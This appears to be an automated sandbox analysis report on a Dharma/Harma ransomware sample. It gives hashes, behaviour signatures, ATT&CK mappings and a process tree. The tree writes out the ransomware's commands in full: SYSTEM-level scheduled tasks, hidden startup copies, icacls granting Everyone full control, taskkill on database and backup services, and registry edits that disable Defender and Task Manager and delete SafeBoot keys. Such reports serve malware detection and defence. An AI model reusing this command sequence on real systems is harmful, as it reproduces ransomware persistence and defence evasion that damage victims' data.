Overview

overview

10

Static

static

3

VirusShare...d2.exe

windows7-x64

10

VirusShare...d2.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    274s
  • max time network
    307s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-05-2023 03:21

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    VirusShare_5c36e305d926e55ef98d392176890cd2.exe

  • Size

    1.0MB

  • MD5

    5c36e305d926e55ef98d392176890cd2

  • SHA1

    64a15cdf89b6c8b85cba355b6944074614d810fd

  • SHA256

    5671112c276673ee5c4630994ac0034927cee2aa05a32ca6950edbc80c56e7e8

  • SHA512

    082855fadbe445ab1f582bb7773276c08bded82ecd00ae1651b620aa12e97315d01acea3cfbe99c504d6d74ce1cff471a4993ff8ebb93416df787cefa88baf1b

  • SSDEEP

    24576:EoZZV7Uqi5inyhZQDkUzVDZJ2vH53GaJR38:HOqigyDQDZVq52wM

Score
10/10
dharmadiscoveryevasionransomware

Malware Config

Signatures

  • Dharma

    Dharma is a ransomware that uses security software installation to hide malicious activities.

    ransomwaredharma
  • Disables Task Manager via registry modification
    evasion
  • Drops startup file 3 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Kills process with taskkill 2 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\VirusShare_5c36e305d926e55ef98d392176890cd2.exe
    "C:\Users\Admin\AppData\Local\Temp\VirusShare_5c36e305d926e55ef98d392176890cd2.exe"
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4892
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN DHARMA /TR C:\ProgramData\harma.exe /RU SYSTEM /RL HIGHEST /F
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4848
      • C:\Windows\system32\schtasks.exe
        schtasks /CREATE /SC ONLOGON /TN DHARMA /TR C:\ProgramData\harma.exe /RU SYSTEM /RL HIGHEST /F
        3⤵
        • Creates scheduled task(s)
        PID:4224
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c copy C:\ProgramData\harma.exe "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\harma.exe"
      2⤵
      • Drops startup file
      PID:4604
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c copy C:\ProgramData\harma.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\harma.exe"
      2⤵
        PID:520
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN DHARMA /TR C:\ProgramData\harma.exe /F
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:760
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /TN DHARMA /TR C:\ProgramData\harma.exe /F
          3⤵
          • Creates scheduled task(s)
          PID:3108
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c attrib +h +s "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\harma.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4648
        • C:\Windows\system32\attrib.exe
          attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\harma.exe"
          3⤵
          • Drops startup file
          • Views/modifies file attributes
          PID:4776
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN hrm /TR "C:\Users\Admin\AppData\Local\Temp\VirusShare_5c36e305d926e55ef98d392176890cd2.exe" /RU SYSTEM /RL HIGHEST /F
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3828
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /TN hrm /TR "C:\Users\Admin\AppData\Local\Temp\VirusShare_5c36e305d926e55ef98d392176890cd2.exe" /RU SYSTEM /RL HIGHEST /F
          3⤵
          • Creates scheduled task(s)
          PID:4396
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN Harma /TR "C:\Users\Admin\AppData\Local\Temp\VirusShare_5c36e305d926e55ef98d392176890cd2.exe" /F
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1892
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /TN Harma /TR "C:\Users\Admin\AppData\Local\Temp\VirusShare_5c36e305d926e55ef98d392176890cd2.exe" /F
          3⤵
          • Creates scheduled task(s)
          PID:3336
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c attrib +h +s harma.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4580
        • C:\Windows\system32\attrib.exe
          attrib +h +s harma.exe
          3⤵
          • Views/modifies file attributes
          PID:2972
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c attrib +h +s C:\ProgramData\harma.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4596
        • C:\Windows\system32\attrib.exe
          attrib +h +s C:\ProgramData\harma.exe
          3⤵
          • Views/modifies file attributes
          PID:1316
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c start cmd.exe /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:948
        • C:\Windows\system32\cmd.exe
          cmd.exe /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4660
          • C:\Windows\system32\icacls.exe
            icacls * /grant Everyone:(OI)(CI)F /T /C /Q
            4⤵
            • Modifies file permissions
            PID:376
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5044
        • C:\Windows\system32\reg.exe
          reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
          3⤵
            PID:1632
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c start cmd.exe /c taskkill /t /f /im sql* && taskkill /f /t /im veeam* && taskkill /F /T /IM MSExchange* && taskkill /F /T /IM Microsoft.Exchange* && taskkill /F /T /IM pvx* && taskkill /F /T /IM dbsrv* && exit
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:432
          • C:\Windows\system32\cmd.exe
            cmd.exe /c taskkill /t /f /im sql*
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2576
            • C:\Windows\system32\taskkill.exe
              taskkill /t /f /im sql*
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2268
          • C:\Windows\system32\taskkill.exe
            taskkill /f /t /im veeam*
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3504
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c Copy HRMPRIV C:\ProgramData\HRMPRIV
          2⤵
            PID:2044
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c Copy HRMPUB C:\ProgramData\HRMPUB
            2⤵
              PID:2504
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c Copy id.harma C:\ProgramData\id.harma
              2⤵
                PID:1900
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c Copy C:\ProgramData\HRMPRIV %userprofile%\Desktop\HRMPRIV
                2⤵
                  PID:2488
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c Copy "C:\ProgramData\FILES ENCRYPTED.txt" "%userprofile%\Desktop\FILES ENCRYPTED.txt"
                  2⤵
                    PID:1556
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:812
                    • C:\Windows\system32\reg.exe
                      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                      3⤵
                        PID:4376
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                      2⤵
                        PID:1860
                        • C:\Windows\system32\reg.exe
                          reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                          3⤵
                            PID:1296
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
                          2⤵
                            PID:5036
                            • C:\Windows\system32\reg.exe
                              reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
                              3⤵
                                PID:548
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
                              2⤵
                                PID:3672
                                • C:\Windows\system32\reg.exe
                                  reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
                                  3⤵
                                    PID:1292

                              Network

                              MITRE ATT&CK Matrix ATT&CK v6

                              Initial Access

                              Execution

                              Scheduled Task

                              1
                              T1053

                              Persistence

                              Scheduled Task

                              1
                              T1053

                              Hidden Files and Directories

                              1
                              T1158

                              Privilege Escalation

                              Scheduled Task

                              1
                              T1053

                              Defense Evasion

                              File Permissions Modification

                              1
                              T1222

                              Hidden Files and Directories

                              1
                              T1158

                              Credential Access

                              Discovery

                              Query Registry

                              2
                              T1012

                              Peripheral Device Discovery

                              1
                              T1120

                              System Information Discovery

                              2
                              T1082

                              Lateral Movement

                              Collection

                              Exfiltration

                              Command and Control

                              Impact

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\ProgramData\HRMPRIV
                                Filesize

                                2KB

                                MD5

                                bf0e30b4c55d60e7085e86ff1932e30b

                                SHA1

                                71af833cd0019cbea79e932ef052c0ac9683e318

                                SHA256

                                2c73567da81e5845cb99cb7656ae4e14490fff188b1bc03c34dd389e6a39a8bc

                                SHA512

                                9d63df3ab76ad93d1a8a295cca3e766323ba19b98ad65f50c5c89335a5c8680f77f8c4e616c103f32ea3ee29758e82281734771e0ddc746df29d1ad2bc31408d

                                Download Submit
                              • C:\ProgramData\HRMPRIV
                                MD5

                                d41d8cd98f00b204e9800998ecf8427e

                                SHA1

                                da39a3ee5e6b4b0d3255bfef95601890afd80709

                                SHA256

                                e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                SHA512

                                cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                Download Submit
                              • C:\ProgramData\HRMPRIV
                                Filesize

                                2KB

                                MD5

                                bf0e30b4c55d60e7085e86ff1932e30b

                                SHA1

                                71af833cd0019cbea79e932ef052c0ac9683e318

                                SHA256

                                2c73567da81e5845cb99cb7656ae4e14490fff188b1bc03c34dd389e6a39a8bc

                                SHA512

                                9d63df3ab76ad93d1a8a295cca3e766323ba19b98ad65f50c5c89335a5c8680f77f8c4e616c103f32ea3ee29758e82281734771e0ddc746df29d1ad2bc31408d

                                Download Submit
                              • C:\ProgramData\HRMPUB
                                Filesize

                                292B

                                MD5

                                0f90c484ac7f6b0a31d865938924b613

                                SHA1

                                ce52261791b73e18aad9a4428be4d820027ebb12

                                SHA256

                                9cacd0c806abfe186f5118b8064bf8c514fff4ec01d907d9033fae07da3fc2d1

                                SHA512

                                54deb853704c6f222b61488641d630f95445bbd9a9c92c938e322eb21a98f5adf688cbd9be14e6e50e101ad0b4e2b3cb8eb320ca5c12199ff5bad53764a33717

                                Download Submit
                              • C:\ProgramData\HRMPUB
                                Filesize

                                292B

                                MD5

                                0f90c484ac7f6b0a31d865938924b613

                                SHA1

                                ce52261791b73e18aad9a4428be4d820027ebb12

                                SHA256

                                9cacd0c806abfe186f5118b8064bf8c514fff4ec01d907d9033fae07da3fc2d1

                                SHA512

                                54deb853704c6f222b61488641d630f95445bbd9a9c92c938e322eb21a98f5adf688cbd9be14e6e50e101ad0b4e2b3cb8eb320ca5c12199ff5bad53764a33717

                                Download Submit
                              • C:\ProgramData\HRMPUB
                                Filesize

                                292B

                                MD5

                                0f90c484ac7f6b0a31d865938924b613

                                SHA1

                                ce52261791b73e18aad9a4428be4d820027ebb12

                                SHA256

                                9cacd0c806abfe186f5118b8064bf8c514fff4ec01d907d9033fae07da3fc2d1

                                SHA512

                                54deb853704c6f222b61488641d630f95445bbd9a9c92c938e322eb21a98f5adf688cbd9be14e6e50e101ad0b4e2b3cb8eb320ca5c12199ff5bad53764a33717

                                Download Submit
                              • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\harma.exe
                                Filesize

                                1.0MB

                                MD5

                                5c36e305d926e55ef98d392176890cd2

                                SHA1

                                64a15cdf89b6c8b85cba355b6944074614d810fd

                                SHA256

                                5671112c276673ee5c4630994ac0034927cee2aa05a32ca6950edbc80c56e7e8

                                SHA512

                                082855fadbe445ab1f582bb7773276c08bded82ecd00ae1651b620aa12e97315d01acea3cfbe99c504d6d74ce1cff471a4993ff8ebb93416df787cefa88baf1b

                                Download Submit
                              • C:\ProgramData\harma.exe
                                Filesize

                                1.0MB

                                MD5

                                5c36e305d926e55ef98d392176890cd2

                                SHA1

                                64a15cdf89b6c8b85cba355b6944074614d810fd

                                SHA256

                                5671112c276673ee5c4630994ac0034927cee2aa05a32ca6950edbc80c56e7e8

                                SHA512

                                082855fadbe445ab1f582bb7773276c08bded82ecd00ae1651b620aa12e97315d01acea3cfbe99c504d6d74ce1cff471a4993ff8ebb93416df787cefa88baf1b

                                Download Submit
                              • C:\ProgramData\id.harma
                                Filesize

                                8B

                                MD5

                                a36517509f645e8aea79e33fa2db6c26

                                SHA1

                                6168d2d97c7358eec6e3ab93eba545873fdc1755

                                SHA256

                                d0f3db3269809b72162fc5c82e116fa0f7a54f896c1df208518cbd3faa64579a

                                SHA512

                                9c3d67a80f70510d421c04008a2e5fe75e9dbde08ddc27f1197f29dcd043055dc4a9a231abbfe9b9262b2785a4c47b0b5281d01cfa81d4a9165427849d925bb4

                                Download Submit
                              • C:\Users\Admin\AppData\Local\Temp\HRMPRIV
                                Filesize

                                2KB

                                MD5

                                bf0e30b4c55d60e7085e86ff1932e30b

                                SHA1

                                71af833cd0019cbea79e932ef052c0ac9683e318

                                SHA256

                                2c73567da81e5845cb99cb7656ae4e14490fff188b1bc03c34dd389e6a39a8bc

                                SHA512

                                9d63df3ab76ad93d1a8a295cca3e766323ba19b98ad65f50c5c89335a5c8680f77f8c4e616c103f32ea3ee29758e82281734771e0ddc746df29d1ad2bc31408d

                                Download Submit
                              • C:\Users\Admin\AppData\Local\Temp\HRMPUB
                                Filesize

                                292B

                                MD5

                                0f90c484ac7f6b0a31d865938924b613

                                SHA1

                                ce52261791b73e18aad9a4428be4d820027ebb12

                                SHA256

                                9cacd0c806abfe186f5118b8064bf8c514fff4ec01d907d9033fae07da3fc2d1

                                SHA512

                                54deb853704c6f222b61488641d630f95445bbd9a9c92c938e322eb21a98f5adf688cbd9be14e6e50e101ad0b4e2b3cb8eb320ca5c12199ff5bad53764a33717

                                Download Submit
                              • C:\Users\Admin\AppData\Local\Temp\id.harma
                                Filesize

                                8B

                                MD5

                                a36517509f645e8aea79e33fa2db6c26

                                SHA1

                                6168d2d97c7358eec6e3ab93eba545873fdc1755

                                SHA256

                                d0f3db3269809b72162fc5c82e116fa0f7a54f896c1df208518cbd3faa64579a

                                SHA512

                                9c3d67a80f70510d421c04008a2e5fe75e9dbde08ddc27f1197f29dcd043055dc4a9a231abbfe9b9262b2785a4c47b0b5281d01cfa81d4a9165427849d925bb4

                                Download Submit
                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\harma.exe
                                Filesize

                                1.0MB

                                MD5

                                5c36e305d926e55ef98d392176890cd2

                                SHA1

                                64a15cdf89b6c8b85cba355b6944074614d810fd

                                SHA256

                                5671112c276673ee5c4630994ac0034927cee2aa05a32ca6950edbc80c56e7e8

                                SHA512

                                082855fadbe445ab1f582bb7773276c08bded82ecd00ae1651b620aa12e97315d01acea3cfbe99c504d6d74ce1cff471a4993ff8ebb93416df787cefa88baf1b

                                Download Submit